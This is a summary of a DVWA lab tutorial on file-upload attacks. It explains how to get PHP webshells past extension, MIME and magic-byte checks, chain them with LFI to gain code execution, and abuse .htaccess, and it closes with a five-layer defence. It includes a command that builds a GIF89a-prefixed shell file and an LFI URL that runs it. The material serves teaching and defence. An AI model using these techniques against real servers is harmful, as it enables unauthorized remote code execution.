Lab 6: DVWA File Upload Lab 2026 — Ultimate Guide to Upload PHP Webshells & Get RCE Fast

This DVWA lab guide teaches file upload exploitation techniques across four security levels, demonstrating how attackers upload PHP webshells to achieve remote code execution and how each layer of validation can be bypassed. The article covers direct PHP upload, MIME type manipulation, magic byte evasion, and chaining with LFI vulnerabilities. File upload vulnerabilities represent one of OWASP's most impactful web attack classes because they can grant attackers immediate OS command execution on compromised servers.

• Three conditions enable file upload RCERemote code execution via file upload requires all three conditions to be true simultaneously: the server allows the PHP file to be uploaded, the uploaded file is stored in a web-accessible directory, and PHP execution is not disabled in that directory. When met, uploading a minimal one-line PHP webshell like `` grants the attacker a command execution interface running as the web server process (www-data in Apache). This explains why Low security's direct upload is exploitable — the server validates nothing.
• Client-side validation and headers are worthlessMedium security attempts to restrict uploads by checking the Content-Type header for image/jpeg or image/png, but this validation is trivially bypassed because the Content-Type header is sent by the client and can be modified using any HTTP intercepting proxy like Burp Suite Repeater. The server never inspects actual file contents, only trusts what the browser claims. JavaScript file type checks and HTML accept attributes are equally useless because attackers control the entire request.
• Magic bytes bypass content inspection aloneHigh security checks both file extension (must end in .jpg, .jpeg, .png, or .gif) and reads the first few bytes for image magic bytes. This can be bypassed by prepending image header bytes like GIF89a to PHP code, for example `echo 'GIF89a;' > /tmp/shell.php.jpg`. The magic byte check passes because it only reads the first few bytes and finds valid GIF89a bytes, never examining the PHP code that follows. Double extensions work because the High level checks only the last extension (.jpg).
• Chaining file upload with LFI for executionOn High security, the uploaded shell.php.jpg cannot be executed by navigating directly to it — the server serves it as an image. However, combining it with the LFI (Local File Inclusion) vulnerability from a previous lab using the file:// wrapper forces the PHP interpreter to execute the uploaded file: `http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/shell.php.jpg&cmd=id`. The PHP parser skips the GIF89a prefix (not valid PHP) and executes the embedded `` code.
• Image re-encoding destroys all payload embeddingThe Impossible security level defeats all previous bypass techniques by re-encoding images using GD or ImageMagick, which rebuilds images from scratch and destroys any embedded PHP code or metadata payloads. This approach cannot be bypassed because even files created with magic bytes or exiftool metadata are processed and reconstructed as pure image data. The guide indicates re-encoding is part of a five-layer prevention strategy that also includes random filename generation, storing uploads outside the web root, and disabling PHP execution in the upload directory.
• Defense requires multiple simultaneous layersNo single validation technique is sufficient — true security requires all five layers: server-side extension whitelist, image re-encoding with GD/ImageMagick to destroy embedded payloads, random filename generation that never trusts user input, storage outside the web root, and PHP execution disabled in the upload directory via Apache/Nginx configuration. The article emphasizes that attackers can control the filename, Content-Type header, file contents, and metadata, so each layer must be designed assuming the attacker has full control over the request.
• Bypasses target gaps in configuration checkingThe article's author notes from a real engagement that comprehensive validation (extension check, magic byte check, MIME type check, filename sanitization) was defeated not by bypassing those checks, but by exploiting a configuration file they did not check — uploading a custom .htaccess file that re-enabled PHP execution for .jpg files in the upload directory. This demonstrates that security requires thinking about what the checks do not check, not just whether the implemented checks work correctly.

Bottom line: File upload vulnerabilities are critical because they grant direct remote code execution when three conditions align: the file is uploaded, stored in a web-accessible directory, and PHP execution is enabled there. Attackers bypass every individual validation technique (extension checks, MIME types, magic bytes, metadata inspection) through methods like double extensions, Burp Suite header manipulation, or prepended image headers, which is why only a defense-in-depth approach combining re-encodin